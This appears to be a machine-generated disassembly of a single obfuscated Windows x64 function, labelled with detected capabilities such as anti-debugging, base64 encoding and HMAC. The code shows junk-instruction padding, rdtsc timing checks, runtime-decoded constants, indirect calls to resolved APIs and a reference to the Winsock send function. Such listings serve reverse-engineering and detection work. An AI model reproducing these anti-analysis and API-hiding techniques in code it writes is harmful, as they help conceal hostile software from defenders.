Function at 0x14011c298
Capabilities:
Authenticate hmac
Encode data using base64
Execute anti-debugging instructions
Parse pe header

Disassembly:
push r15
push r14
adc al, 0x9c
sal al, 0xe9
rcl al, cl
push r13
add rax, rsp
mov r13d, r12d
push r12
test rsp, r14
sal ah, 0x5d
and r13w, 0x50a9
push rsi
rcl al, cl
push rdi
push rbp
cmovns r13, rsi
and al, 0x11
push rbx
btc r13d, edx
rcr ah, 0x90
jmp 0x14011c2d6
sub rsp, 0x148
movaps xmmword [rsp + 0x130], xmm10
sal sil, cl
movsx di, sil
sub r13w, r15w
movaps xmmword [rsp + 0x120], xmm9
movaps xmmword [rsp + 0x110], xmm8
movaps xmmword [rsp + 0x100], xmm7
xchg di, r13w
cwde
movaps xmmword [rsp + 0xf0], xmm6
mov qword [rsp + 0x80], rdx
mov dil, r11b
rdtsc
rcr dx, 0x9d
mov qword [rsp + 0x98], rcx
or al, r9b
mov rax, qword [0x1400f5980]
cmp bx, bp
sar cx, cl
add r13d, 0xb2b835ce
xor rax, rsp
sbb edx, 0xe527b1fd
and dil, 0xed
xor cl, 0x82
mov qword [rsp + 0xe8], rax
sar ax, 0xa3
cmovnp ax, cx
movabs rdx, 0xffff00000000ffff
movabs rdi, 0xf000000000000
stc
movabs rsi, 0xf00000000000
xchg r13, rcx
cdqe
bts r13w, r13w
movabs rax, 0x22a69c8c1c69ad28
rol cl, cl
movabs rcx, 0xf0c4123fadab5b23
xor r13, 0xffffffffac14f618
rol r13b, 0x8c
sbb r13w, si
movq xmm0, rcx
btc cx, 0x50
bt cx, ax
ror r13b, cl
movq xmm10, rax
shld r13d, r11d, 0x8e
add r13b, bpl
punpcklqdq xmm10, xmm0
rol r13w, cl
pxor xmm10, xmmword [0x1400f6b90]
neg cx
or r13d, 0xcea560d3
movabs r13, 0xf0000f000
xor cl, 0x12
movabs rax, 0x2e4edf4739e5cccb
btr rcx, rdx
shld cx, r12w, 0x52
bts cx, r14w
movabs rcx, 0xcefabb959374b9b9
clc
jmp 0x14011c427
movq xmm0, rcx
cmp edi, 0xb728c5d6
movq xmm1, rax
jmp 0x14011c43c
punpcklqdq xmm1, xmm0
test al, 0xa2
cmp r8b, 0x6b
sub eax, eax
jmp 0x14011c44d
not rax
jmp 0x14011c455
movq xmm0, rax
jmp 0x14011c45f
pshufd xmm7, xmm0, 0x44
movabs rax, 0xd65faa5bc61a3334
bswap ecx
movzx rcx, r13w
movabs rcx, 0x3105ce8919c74656
jmp 0x14011c483
movq xmm0, rcx
jmp 0x14011c48d
movq xmm2, rax
punpcklqdq xmm2, xmm0
jmp 0x14011c49b
pxor xmm2, xmm1
jmp 0x14011c4a4
pandn xmm2, xmm7
pshufd xmm0, xmm2, 0xee
movq rcx, xmm0
cwde
inc ax
movq rax, xmm2
cmc
mov eax, eax
test bl, 0x89
shl rax, 0x10
cmp si, 0x2ace
and rcx, rdx
or rcx, rax
mov rax, r8
cmp sp, 0xeabf
or rax, rcx
shr rax, 0x20
je 0x14011c4f8
mov rax, r8
xor edx, edx
clc
div rcx
jmp 0x14011c4f3
jmp 0x14011c50b
mov eax, r8d
test r8b, r12b
sbb r14d, ebx
sub edx, edx
bswap r14d
dec r14
div ecx
mov r14, r8
shrd eax, r12d, 0x6c
setae ah
sub r14, rdx
lea r14, [r14 + rcx]
bsr r9, r12
test rdx, rdx
mov qword [rsp + 0x88], r8
lahf
movsx ax, r15b
sete cl
cmove r14, r8
btc r9w, 0x91
xor r9b, 0xe9
bts r9w, r14w
movabs rax, 0x108ea67b82d9e45f
xchg dl, r9b
movzx rcx, ax
btr cx, cx
movabs rcx, 0x2196f8bd1e234861
bswap dx
movq xmm0, rcx
bswap edx
movq xmm6, rax
bts r9w, ax
punpcklqdq xmm6, xmm0
sar edx, cl
bsr rdx, rsi
movdqa xmm0, xmmword [0x1400f6b20]
cmp si, bx
and dl, r12b
pxor xmm0, xmm6
movq rdx, xmm0
ror r9b, cl
cmovbe r9d, esp
mov r9, rdx
test rbx, rdx
shl r9, 0xc
pshufd xmm0, xmm0, 0xee
movq rax, xmm0
xchg r8b, bpl
and r8b, 0x3b
mov rcx, rax
rol r11, 0xb2
sbb r8, 0xffffffffdd1d015e
add r15d, 0x32fc552
shr rcx, 8
mov r8d, r9d
or r11w, sp
cmp r11b, 0x10
setg bpl
and r8d, 0xf00f0000
shl r15b, 0x16
movabs rbp, 0xf0000000f00
bsf r15, r11
and rcx, rbp
rol r15b, 0xf4
sar r12d, 0x9c
mov r10, rdx
shl r10, 0x10
adc r15b, al
movabs r12, 0xf000000000
mov r11w, 0x1a0e
rcr r11, cl
sar bh, cl
and r10, r12
or r10, r8
cmc
movsxd r8, esi
add r11d, 0xde84d992
mov r11, rax
sal bx, 0xa3
xadd r15d, ebx
add bx, 0x55c8
shl r11, 8
setle r8b
and r11, rdi
or r11, r10
sar r8b, 0xa7
jmp 0x14011c660
mov r10, rax
xadd bl, r8b
rol bx, 0x4d
add r8d, r10d
shl r10, 0x3c
rcl r15d, 0xb
shld r15w, r9w, 0x78
or r10, rcx
sbb r15, rax
mov r8, rdx
ror cl, cl
shr r8, 0x38
add cl, 0x1a
and r9, rsi
movzx r15d, r11w
sbb ecx, esp
btc bx, 0xb6
or r10, r11
mov rcx, rax
xor r15b, 0x68
mov r15, rsi
sar bl, cl
and r8d, 0xfffffff0
or r8, r9
or r8, r10
movzx r10d, sp
bts r10w, bx
add r10b, 0x21
mov r9, rax
sbb bx, 0xa793
ror bx, cl
neg r10b
shl r9, 0x20
xchg bl, r10b
cmp r10w, 0x3811
movabs rbx, 0xf0000000000000
cmc
ror r10b, 0x30
and r9, rbx
xor r10b, r11b
mov r10, rdx
shr r10, 0x18
cmc
mov r15b, 0x49
movsxd r15, eax
and r10d, 0xf000000
sal r15b, 0x8b
movsx r15d, bx
or r10, r9
ror r9, cl
and r15b, 0xec
btc r15d, esi
mov r9, rdx
shrd r15, rsp, 3
shr rdx, 0x24
shl r15b, 0x34
movzx r15w, bpl
and edx, 0xf00000
bsr r15w, r11w
movsxd r15, r14d
jmp 0x14011c745
shl rax, 0x30
movzx r15d, r10w
movabs r15, 0xf00000000000000
and rax, r15
cmp sp, ax
cmc
or rax, rdx
cmc
shr rcx, 0x14
cwd
shr r9, 0x28
and r9d, 0xf
and rcx, r13
btr dx, 0x56
movsx edx, r15w
bt dx, cx
or rcx, r9
movsxd rdx, r13d
bsf edx, r14d
or rcx, r10
movsx edx, r15w
rol rdx, 0xe
shl dh, 0x53
or rcx, rax
mov dx, 0xd55
or rcx, r8
movzx rdx, si
not rcx
movzx rdx, r14w
mov dl, reloc.WS2_32.dll_send
movzx dx, sil
movabs rdx, 0x8d3cdcfa68ade242
jmp 0x14011c7c3
call fcn.140017060
mov r8, rax
movabs rax, 0x5c4d12f947bd853
movsx rcx, cx
movabs rcx, 0xf14a21a5abe6d649
jmp 0x14011c7e8
movq xmm0, rcx
mov rcx, 0x169e2c4d
xchg cl, cl
jmp 0x14011c7fb
movq xmm1, rax
punpcklqdq xmm1, xmm0
cdqe
movabs rax, 0x2556ed8b6b8427ac
movzx ecx, di
movabs rcx, 0xeb51d01227c2986
jmp 0x14011c822
movq xmm0, rcx
jmp 0x14011c82c
movq xmm2, rax
punpcklqdq xmm2, xmm0
jmp 0x14011c83a
pxor xmm2, xmm1
jmp 0x14011c843
pandn xmm2, xmm7
pshufd xmm0, xmm2, 0xee
movq rax, xmm0
bt cx, 0x3e
sar rcx, 0xa7
movd esi, xmm2
or r9w, r13w
shrd r13w, r9w, 0x77
shl esi, 0x10
movzx r13d, ax
sub r9b, r11b
mov r9, qword gs:[rsi + r13]
movsx rax, sp
rdtsc
xchg cl, ch
shl rdx, 0x20
shr cl, cl
sal ecx, cl
or cx, r15w
or rdx, rax
movabs rax, 0xddf466968c7e60e2
movabs rcx, 0xc50a4a93f4987797
jmp 0x14011c8a7
movq xmm0, rcx
movzx rcx, dx
movq xmm1, rax
movzx cx, spl
movzx eax, r8w
punpcklqdq xmm1, xmm0
lahf
movzx cx, sil
movsx eax, r12w
movabs rax, 0x279f4be973819f1d
movabs rcx, 0x3af567ec2cf2886a
jmp 0x14011c8e5
movq xmm0, rcx
movq xmm2, rax
punpcklqdq xmm2, xmm0
pxor xmm2, xmm1
jmp 0x14011c8fc
pandn xmm2, xmm7
pshufd xmm0, xmm2, 0xee
movq rcx, xmm0
movsx rdi, r10w
dec bh
movq rax, xmm2
shl rax, 0x10
rcl ebx, cl
sar bh, cl
movabs rdi, 0xffffffff0000
shl bh, 0xb
and bl, r12b
mov ebx, eax
and rax, rdi
sal bl, 0xb7
movabs rbx, 0xffff00000000ffff
stc
clc
jmp 0x14011c946
and rcx, rbx
cmc
cmp r10b, 0x67
stc
or rcx, rax
mov qword [rsp + 0x50], rcx
xadd al, ah
mov rax, rcx
imul rax, rdx
mov cl, r9b
movq xmm1, rax
bswap eax
setnp cl
movq xmm0, rdx
cmove ecx, r13d
mov al, dil
jmp 0x14011c97f
punpcklqdq xmm0, xmm1
jmp 0x14011c989
movabs rax, 0xc89e012b9fea780f
movsx rcx, ax
movabs rcx, 0xafe1eb9d9ae15141
jmp 0x14011c9a6
movq xmm1, rcx
movq xmm2, rax
mov cx, 0x494
punpcklqdq xmm2, xmm1
movabs rax, 0x3845cf9b601587f0
mov cl, r9b
movzx rcx, si
movabs rcx, 0x501e252dab5aaebd
jmp 0x14011c9d8
movq xmm3, rcx
jmp 0x14011c9e2
movq xmm1, rax
jmp 0x14011c9ec
punpcklqdq xmm1, xmm3
jmp 0x14011c9f5
pxor xmm1, xmm2
pandn xmm1, xmm7
movabs rax, 0x26725e642a0d8960
movsx ecx, r10w
movabs rcx, 0x7b9be4ef1e6aa193
jmp 0x14011ca1a
movq xmm2, rcx
movsx rcx, sp
movsxd rcx, r13d
movq xmm3, rax
cwde
mov ah, al
punpcklqdq xmm3, xmm2
setl ah
movsxd rax, r15d
movabs rax, 0xb5b62281d5f2769f
movzx ecx, r9w
movabs rcx, 0x8464980a047e5e68
jmp 0x14011ca55
movq xmm2, rcx
jmp 0x14011ca5f
movq xmm4, rax
punpcklqdq xmm4, xmm2
jmp 0x14011ca6d
pxor xmm4, xmm3
jmp 0x14011ca76
pandn xmm4, xmm7
movdqa xmm2, xmm1
jmp 0x14011ca83
punpcklqdq xmm2, xmm4
psllq xmm2, 0x10
punpckhqdq xmm1, xmm4
movdqa xmm8, xmmword [section..rdata]
jmp 0x14011ca9e
pand xmm2, xmm8
jmp 0x14011caa8
pandn xmm8, xmm1
por xmm8, xmm2
movq rax, xmm8
test dl, 0x28
cmp dil, 0x64
mov qword [rsp + 0x70], rax
clc
imul rax, rdx
jmp 0x14011cacd
pshufd xmm1, xmm8, 0xee
movq rcx, xmm1
adc r10w, r9w
bt r10, 0x80
mov qword [rsp + 0x68], rcx
rcr r10d, cl
imul rdx, rcx
movsxd r10, r10d
movabs rcx, 0xcad9f2f6a08e31c2
movzx r10d, dx
jmp 0x14011cb08
movabs r10, 0x98efecd3c3e9fe57
jmp 0x14011cb17
movq xmm1, r10
movzx r10d, r9w
movq xmm2, rcx
jmp 0x14011cb32
punpcklqdq xmm2, xmm1
movabs rcx, 0x23a419295f7131c2
sete r10b
movabs r10, 0x6710070c7923fe57
movq xmm3, r10
jmp 0x14011cb58
movq xmm1, rcx
jmp 0x14011cb62
punpcklqdq xmm1, xmm3
pxor xmm1, xmm2
jmp 0x14011cb6f
pandn xmm1, xmm7
movabs r11, 0xffffffff00000000
stc
adc r10d, 0xf69c62ad
bswap cx
and rax, r11
movabs rcx, 0xa5e71a5929003b6d
movabs r10, 0x4b315649de6168dd
jmp 0x14011cba4
movq xmm2, r10
movq xmm3, rcx
movsx r10d, r8w
movsxd rcx, esp
punpcklqdq xmm3, xmm2
movzx rcx, dx
jmp 0x14011cbc6
movabs rcx, 0x3b6ac41fd6ffc492
xchg r10b, r10b
movzx r10, r12w
movabs r10, 0xb4ce880fd9d19702
jmp 0x14011cbe6
movq xmm2, r10
movq xmm4, rcx
jmp 0x14011cbf5
punpcklqdq xmm4, xmm2
jmp 0x14011cbfe
pxor xmm4, xmm3
jmp 0x14011cc07
pandn xmm4, xmm7
movdqa xmm2, xmm4
jmp 0x14011cc14
punpcklqdq xmm2, xmm1
psllq xmm2, 0x10
pand xmm2, xmmword [0x1400cc010]
jmp 0x14011cc2a
punpckhqdq xmm4, xmm1
pand xmm4, xmmword [0x1400cc020]
jmp 0x14011cc3b
por xmm4, xmm2
pshufd xmm9, xmm4, 0xee
movq rbp, xmm9
cmp r10w, 0x82c7
rcr r10w, 0xdb
mov r10d, ebp
bt rcx, r8
and r10d, r8d
movzx rcx, di
shr cx, cl
movq rcx, xmm4
stc
test r10, rdx
mov qword [rsp + 0x48], rcx
cmc
stc
shr r8, cl
btr ecx, 0x56
sbb rcx, 0xffffffff8aa5ddd3
or r10, rax
sal ch, cl
shrd cx, r10w, 0x3d
mov qword [rsp + 0x60], rbp
and r8d, ebp
movzx rbp, bx
sar ah, 0x25
movzx ax, r15b
movabs rbp, 0xf0000000f00
sar ch, 0x2b
mov cl, r9b
bts ax, r9w
and rdx, r11
movzx eax, sp
xchg cl, cl
shr ch, 0x2c
or rdx, r8
jmp 0x14011cccb
movq xmm1, r10
cmova rcx, rcx
mov ecx, r9d
movq xmm2, rdx
movzx eax, dx
punpcklqdq xmm1, xmm2
bswap ecx
movzx rax, r9w
cbw
pxor xmm1, xmm0
movsx ecx, sp
movabs rax, 0x79fef7bdfd9b1761
movabs rcx, 0x1e36a316e494885
movq xmm2, rcx
xchg cx, cx
movq xmm3, rax
movsx ax, spl
punpcklqdq xmm3, xmm2
movsx cx, al
not cl
movabs rax, 0xbe0247870264e89e
movabs rcx, 0xfe1cda0bb295b6fa
movq xmm2, rcx
jmp 0x14011cd40
movq xmm4, rax
jmp 0x14011cd4a
punpcklqdq xmm4, xmm2
jmp 0x14011cd53
pxor xmm4, xmm3
jmp 0x14011cd5c
pandn xmm4, xmm7
pshufd xmm2, xmm4, 0xee
movq rcx, xmm2
bts eax, r12d
movq rax, xmm4
shl rax, 0x10
test bpl, bpl
clc
cmc
and rax, rdi
and rcx, rbx
jmp 0x14011cd87
or rcx, rax
cdqe
cmovbe eax, r14d
mov qword [rsp + 0x40], rcx
movzx eax, r13w
movdqu xmmword [rcx + r9], xmm1
movzx ax, r15b
xchg rcx, rcx
movabs rax, 0x134b7d0ee4527aba
xchg cx, cx
jmp 0x14011cdb9
movabs rcx, 0x28f5ea83f82d8ec7
jmp 0x14011cdc8
movq xmm1, rcx
movzx rcx, si
movq xmm2, rax
lahf
punpcklqdq xmm2, xmm1
not ah
movsx ecx, r15w
movabs rax, 0xbe97e6d91bad8545
not cl
movsxd rcx, ecx
movsx rcx, sp
movabs rcx, 0xd70a7154e40b70a8
jmp 0x14011ce03
movq xmm1, rcx
jmp 0x14011ce0d
movq xmm3, rax
jmp 0x14011ce17
punpcklqdq xmm3, xmm1
jmp 0x14011ce20
pxor xmm3, xmm2
jmp 0x14011ce29
pandn xmm3, xmm7
pshufd xmm1, xmm3, 0xee
movq rcx, xmm1
movq rax, xmm3
clc
shl rax, 0x10
jmp 0x14011ce46
and rax, rdi
rcl dil, cl
and edi, esi
and rcx, rbx
movzx rdi, r11w
bt edi, r10d
movabs rdi, 0xf000000000000
stc
or rcx, rax
test dil, r12b
clc
mov qword [rsp + 0x38], rcx
and rax, 0x6229c037
mov eax, r14d
movdqu xmmword [rcx + r9], xmm0
not eax
movabs rax, 0xd4f682335f5a9e37
movsxd r9, r12d
sal cl, 0x1b
movabs rcx, 0x7fb30e6d5b090811
test r9b, sil
movq xmm0, rcx
add ecx, r8d
shl r9w, cl
movq xmm7, rax
stc
punpcklqdq xmm7, xmm0
movdqa xmm0, xmmword [0x1400f6b70]
pxor xmm0, xmm7
shr r9b, cl
movq rcx, xmm0
mov r9, rcx
clc
cmp r8w, 0x454c
shl r9, 0xc
jmp 0x14011cedc
pshufd xmm0, xmm0, 0xee
movq rax, xmm0
mov rdx, rax
shld bx, ax, 0x8e
shr rdx, 8
bswap r11w
cmp bpl, r11b
mov r8d, r9d
adc r10b, 0xfe
movzx r10w, r8b
sbb r10b, 0x18
and r8d, 0xf00f0000
adc r10b, 0x55
movsx r11w, dl
dec r10w
and rdx, rbp
sub r11b, 0xbb
mov r10, rcx
shl bl, 0xc2
shl r10, 0x10
movsx r11, dx
and r10, r12
sar r12d, 4
movabs r12, 0xf00000000000
rcr r11b, cl
sub ebx, esp
or r10, r8
ror r11b, cl
not r8b
mov r11, rax
sub bl, 0x68
shl r11, 8
inc r8b
and r11, rdi
or r11, r10
sar ebx, 0x27
shrd r8w, sp, 0x29
mov r10, rax
bsf r8w, r11w
shl r10, 0x3c
sar r8w, cl
or r10, rdx
bts bx, r15w
mov r8, rcx
shl dh, cl
movzx rdx, r11w
clc
shr r8, 0x38
sbb dl, r12b
sar edx, cl
sub dh, 0xc2
and r9, r12
sal bh, 0x1e
shr dl, 0xa6
or r10, r11
bswap ebx
cwd
sbb rdx, r14
mov rdx, rax
and r8d, 0xfffffff0
sbb bx, 0x3a91
rcr bl, cl
or r8, r9
inc r9
adc bl, 0xec
or r8, r10
neg r10b
ror bx, 0x9c
xadd bx, r10w
mov r9, rax
setae r10b
shl r9, 0x20
test r10w, cx
rcl r10b, 0xd0
mov bl, 0xf4
movabs r10, 0xf0000000000000
bsr bx, r14w
and r9, r10
and r10d, esp
mov rbx, r14
sal r14w, cl
xadd r10b, r10b
movabs r14, 0xf0000f000
mov r10, rcx
shr r10, 0x18
cmc
and r10d, 0xf000000
stc
test r11, rsi
or r10, r9
btc r9, 0x1b
mov r9, rcx
shr rcx, 0x24
test r14b, al
and ecx, 0xf00000
shl rax, 0x30
and rax, r15
cmp r8d, 0x2808c061
test sp, sp
or rax, rcx
shrd cx, dx, 0xee
btc cx, 0xba
shr rdx, 0x14
shl cx, cl
shl rcx, 0x92
shr r9, 0x28
sar cl, 0x30
sal cl, 0x19
adc cx, 0x7bfc
and r9d, 0xf
sub cl, 0x36
setns ch
and rdx, r14
movzx cx, r10b
or rdx, r9
or rdx, r10
or rdx, rax
inc cl
or rdx, r8
mov ecx, r13d
not rdx
cmovo cx, bp
movsx ecx, r10w
mov rcx, rbx
jmp 0x14011d0ac
call rdx
test rax, rax
je 0x14011d95b
movq rcx, xmm10
jmp 0x14011d0c1
pshufd xmm0, xmm10, 0xee
mov r10, rcx
mov r8w, 0x10f6
ror dl, 0x46
shl r10, 0xc
xor r8, rbp
rcl r15b, cl
clc
movq r11, xmm0
sar r8b, cl
cmc
or r15d, 0x2daa138d
mov rdx, rcx
btr r15w, 0x4e
sar r9, 0x8a
bt r9d, 0xc7
shr rdx, 0x28
mov r8, r11
jmp 0x14011d10e
shr r8, 8
and r8, rbp
rcl r15w, 0xaf
mov r9, r11
and bpl, 3
sub ebp, 0x8c8107b1
or r15d, 0xaebab23d
shl r9, 0x3c
cmovae bp, si
or r9, r8
sal bpl, 0x75
xchg bpl, r15b
sub r15w, bx
mov r8d, r10d
and r8d, 0xf00f0000
movzx r15w, bpl
cmp r9w, 0xa880
or r8, r9
setbe r9b
sar r9, cl
mov r9, r11
shr r9, 0x14
rcr r15w, 0x73
and edx, 0xf
movsxd r15, ebp
bts r15w, r13w
bsf r15w, r12w
and r9, r14
xadd ebp, r15d
rcr bpl, cl
or r9, rdx
rcr dh, 0x27
cqo
mov edx, ecx
movsx r15w, bl
not ebp
and edx, 0xf00000
mov ebp, ebx
shl rdx, 0x10
sal bpl, 0xcc
movzx r15d, r15w
and bp, r10w
or rdx, r8
mov r8d, r11d
btr r15d, edx
and r8d, 0xf00000
shl r8, 0x20
sbb bpl, 7
or r8, r9
and bp, 0xa00c
mov r9, r11
btc r15, 0x2a
clc
xchg ebp, r15d
shl r9, 8
shrd ebp, r13d, 8
and r9, rdi
or r9, rdx
btc r15d, 0x18
rol r15b, cl
mov rdx, rcx
shr rdx, 0x18
movzx rbp, r8w
and edx, 0xf000000
or rdx, r8
btc r15w, cx
mov r8, rcx
test r12w, bp
rol bpl, cl
shr r8, 0x38
btc rbp, r13
shr rbp, 0x14
and r8d, 0xfffffff0
xor ebp, eax
shrd r15d, esp, 0xaf
rcr bpl, 0xe0
or r8, r9
shr rcx, 0x24
and ecx, 0xf00000
clc
or rcx, rdx
and r11d, 0xf00
jmp 0x14011d251
and r10, r12
or r10, r8
xor dh, 0x4c
inc ebp
shl r11, 0x30
or r11, rcx
movzx r12d, ax
cmovl rdx, rdi
or r11, r10
clc
mov qword [rsp + 0x78], r11
not r11
mov qword [rsp + 0x58], r11
or rsi, r13
test sil, r14b
xadd r15, rbp
stc
mov qword [rsp + 0x30], rsi
shrd ebp, edi, 0xa4
mov qword [rsp + 0x28], rax
lea rax, [rax + rbx]
xadd dl, r12b
mov qword [rsp + 0x90], rax
movabs rax, 0xab48c00af985df06
shrd r9d, ecx, 0xc1
and r9b, cl
not r15
movabs rcx, 0x209ced7ba8a57b5f
btr r15w, r9w
movq xmm0, rcx
xor dx, r12w
movsx r15d, cx
sub r12, 0xffffffffab941135
movq xmm10, rax
add r13b, bl
punpcklqdq xmm10, xmm0
test esp, 0x585f85d
bsf rbp, r12
cmovae dx, r10w
mov rbp, rbx
movabs r13, 0xf000000000000
movabs r15, 0xf00000000000
rcl dh, cl
movabs r12, 0xf0000000000000
add dl, r13b
nop dword [rax + rax]
movdqa xmm0, xmmword [0x1400f6b10]
xor dx, sp
rcl dh, 0x7e
sar dh, cl
pxor xmm0, xmm10
bswap dx
shr dl, 4
jmp 0x14011d347
movq rdx, xmm0
btr r9w, 0x57
and r9b, sil
neg r9b
mov r9, rdx
test r13w, 0xa48a
clc
shl r9, 0xc
pshufd xmm0, xmm0, 0xee
movq rax, xmm0
movsx cx, r8b
cmp sil, sil
mov rcx, rax
shr rcx, 8
mov r8d, r9d
and r8d, 0xf00f0000
setb dil
and si, dx
movabs r10, 0xf0000000f00
and rcx, r10
movzx esi, sp
mov r10, rdx
movsx di, r11b
shl r10, 0x10
or rsi, 0xffffffffb1155d57
mov r14b, sil
sbb r11b, 0x69
movabs r11, 0xf000000000
and r10, r11
dec dil
shl r11b, 0xa5
bts esi, r11d
or r10, r8
movsx r8d, r15w
mov r11, rax
shl r11, 8
sar rdi, 0x7b
and r11, r13
adc rdi, r9
cmp rdi, r12
rcl r8b, 0x16
or r11, r10
movsxd rdi, r10d
sar r14b, 0x71
mov r10, rax
adc si, r14w
shl r10, 0x3c
sub sil, 0xcf
rol sil, cl
or r10, rcx
mov r8, rdx
xor cl, dil
bsr si, ax
bts di, sp
shr r8, 0x38
adc dil, sil
and r9, r15
btc rsi, 0x58
adc sil, al
sbb rcx, rsp
or r10, r11
or r14b, dil
btr r14w, sp
jmp 0x14011d443
mov rcx, rax
rcl r14, cl
cmp cx, 0x42e0
and r8d, 0xfffffff0
or r8, r9
shld si, cx, 0x79
or r8, r10
movsx rsi, r8w
rcl r14d, 0xd6
clc
mov r9, rax
shl r9, 0x20
movsxd r10, r11d
setnp sil
rcl r14b, cl
and r9, r12
sub dil, 0x89
dec r14b
mov r10, rdx
shr r10, 0x18
and r10d, 0xf000000
and r14d, 0xc926ae1
bts di, di
shl r14, 0x45
or r10, r9
sbb r14b, r13b
mov r9, rdx
xadd si, di
shr rdx, 0x24
rol sil, 0x48
and edx, 0xf00000
and sil, dil
movsx rsi, si
shl rax, 0x30
adc si, bp
setno dil
btc r14, 0xc4
movabs rsi, 0xf00000000000000
test sp, 0x7b1c
movzx di, r10b
or r14w, bp
and rax, rsi
bt di, si
mov dil, r13b
or rax, rdx
xor dil, r15b
cqo
shr r14, 0xda
shr rcx, 0x14
shr r9, 0x28
and r9d, 0xf
sub edi, 0x86b9d69f
mov rsi, rbx
movsx edx, si
sub bl, spl
movabs rbx, 0xf0000f000
bsf rdx, r15
sal r14w, cl
bts di, di
and rcx, rbx
or rcx, r9
test rsp, 0x580a27e
sal rdi, cl
sar r14, cl
or rcx, r10
cmp si, r11w
jmp 0x14011d54e
or rcx, rax
movsx ax, r15b
mov rdi, qword [rsp + 0x90]
and ah, dh
sub ah, 0x73
sub rdi, rbp
rdtsc
or rcx, r8
cwde
cqo
mov r14b, dil
mov rax, qword [rsp + 0x98]
movsxd r14, ecx
mov r14d, dword [rax]
movsxd rdx, r8d
not rcx
not edx
movsxd rdx, ebx
cqo
movabs rdx, 0x4cec711fbfe274ad
jmp 0x14011d59b
call fcn.140017060
mov r8, rax
mov rax, qword [rsp + 0x30]
cmc
clc
mov r9, qword gs:[rax]
clc
rdtsc
bts r11w, r11w
xchg r11b, r11b
stc
shl rdx, 0x20
or rdx, rax
shrd r11w, dx, 2
mov rax, rdx
mov r11d, r8d
stc
imul rax, qword [rsp + 0x50]
bts r11w, di
dec r11w
movsx cx, bpl
movq xmm0, rdx
bsr r11, rdx
inc r11
movq xmm1, rax
bswap ecx
bsf r10d, eax
punpcklqdq xmm0, xmm1
shr ah, 0x20
mov rax, rdx
setl r10b
imul rax, qword [rsp + 0x70]
imul rdx, qword [rsp + 0x68]
rcl r11d, cl
add r10b, 1
mov r10, r8
rol r11, 0xe4
mov r11, qword [rsp + 0x60]
and r10, r11
bsf cx, di
mov rcx, qword [rsp + 0x48]
shr r8, cl
xor cl, al
movzx rcx, r8w
movabs rcx, 0xffffffff00000000
test rdx, 0xfffffffff730c199
cmp sil, 0x56
and rax, rcx
cmc
stc
or rax, r10
cmc
and r8, r11
test r8b, 0x7c
and rdx, rcx
or rdx, r8
movq xmm1, rdx
ror cx, 0xaa
neg cx
movq xmm2, rax
cmp r12b, 1
punpcklqdq xmm2, xmm1
bts r8w, bp
movzx r8, r9w
btr rax, 0xf0
pxor xmm2, xmm0
add al, r14b
cdqe
mov rax, qword [rsp + 0x40]
movdqu xmmword [rax + r9], xmm2
sar al, 0xe4
mov rax, qword [rsp + 0x38]
clc
movdqu xmmword [rax + r9], xmm0
stc
btr ecx, 0x5c
movdqa xmm0, xmmword [0x1400f6b70]
rcr r8, cl
rcl cx, cl
pxor xmm0, xmm7
btc cx, 0xb4
add r8d, esp
movq rcx, xmm0
mov r8, rcx
shl r8, 0xc
pshufd xmm0, xmm0, 0xee
movq rax, xmm0
shrd r10d, ebx, 0x7c
sar dx, 0x9a
btr edx, ebx
mov rdx, rax
shl r9, 0x78
shr rdx, 8
and r11d, edx
sal r9b, 0x85
mov r9d, r8d
shr r10w, cl
add r11b, 0x69
shr r11w, 0
and r9d, 0xf00f0000
cmp cl, spl
or r10w, 0x6ebd
movabs r10, 0xf0000000f00
and rdx, r10
bswap r11d
xor r11b, r10b
rcr r10d, 0x41
mov r10, rcx
cmp r15b, 0xf1
or r11b, r14b
shl r10, 0x10
mov r11d, 0x2b8b394d
jmp 0x14011d753
movabs r11, 0xf000000000
test bh, 0xdb
and r10, r11
or r10, r9
movsx r11, r14w
mov r9, rax
dec r11b
shr r11, cl
sal r11w, cl
shl r9, 8
inc r11
and r9, r13
btr r11w, r14w
shl r11w, 7
movzx r11, cx
or r9, r10
bt r10w, bp
shrd r11w, r11w, 0xb4
rcr r10b, cl
mov r11, rax
and r10d, esp
shl r11, 0x3c
or r11, rdx
mov rdx, rcx
shr rdx, 0x38
or r10b, 0x75
cmp spl, cl
setbe r10b
and r8, r15
movzx r10d, r11w
dec r10d
or r11, r9
cmova r10d, r15d
shrd r10d, r15d, 0x54
btc r10w, 0x3f
mov r10, rax
sar r9w, 0x57
and edx, 0xfffffff0
cmp r12b, 0x12
test si, r11w
or rdx, r8
sar r8w, 0x27
or rdx, r11
mov r8, rax
btc r9d, 0x1b
inc r9b
adc r11w, 0xfe6c
shl r8, 0x20
inc r11b
and r8, r12
bswap r9w
xchg r9, r9
mov r9, rcx
bt r11w, 0x2d
cmp r11, 0x589fd62a
shr r9, 0x18
stc
and r9d, 0xf000000
or r9, r8
ror r8b, cl
mov r8, rcx
rcr r11b, cl
shr rcx, 0x24
and ecx, 0xf00000
clc
neg r11d
shl rax, 0x30
bsr r11w, r14w
movabs r11, 0xf00000000000000
cmp r15b, 0xef
test dil, 0xf5
and rax, r11
or rax, rcx
neg cx
shr r10, 0x14
setns ch
bts rcx, r10
shr r8, 0x28
inc ecx
bsf cx, r10w
and r8d, 0xf
and r10, rbx
mov rbx, rsi
or r10, r8
cmc
shl cx, cl
or r10, r9
btc r8w, r14w
or r10, rax
movsx cx, r13b
sets r8b
shl ch, cl
or r10, rdx
ror ecx, 0x61
ror ch, cl
not r10
mov ecx, r14d
and r8d, eax
xor dl, r14b
mov rdx, rdi
bts r8, rdx
mov r8, rbp
sub r9d, r9d
jmp 0x14011d8d8
call r10
movsxd rcx, eax
cmc
cmp rcx, rsi
jmp 0x14011d8e7
je 0x14011d903
test eax, eax
jle 0x14011dab7
sub rbp, rcx
jmp 0x14011d8fd
jne 0x14011d327
test rbx, rbx
movabs rsi, 0xf00000000000
movsx bp, al
movzx ebp, si
movsxd rbp, esp
movabs rbp, 0xf000000000000
jmp 0x14011d929
je 0x14011e32c
lea rax, [rbx - 1]
stc
shr rax, 4
jmp 0x14011d93d
inc rax
cmp rbx, 0x11
jmp 0x14011d949
jae 0x14011e13b
xor ecx, ecx
jmp 0x14011d956
jmp 0x14011e2b9
movabs rax, 0xb772e60fdb293b26
movsx edx, bp
mov qword [rsp + 0xa0], rax
cwde
lahf
movabs rax, 0x714483bd7e22874b
cwd
mov qword [rsp + 0xa8], rax
movabs rax, 0xa9bf263f8e2a6f43
mov cx, r13w
mov qword [rsp + 0xb0], rax
bswap rcx
cwde
movabs rax, 0x6a127cfd5d5f0e65
mov qword [rsp + 0xb8], rax
xchg edx, eax
cdq
movabs rax, 0xdb1b8769fb74167d
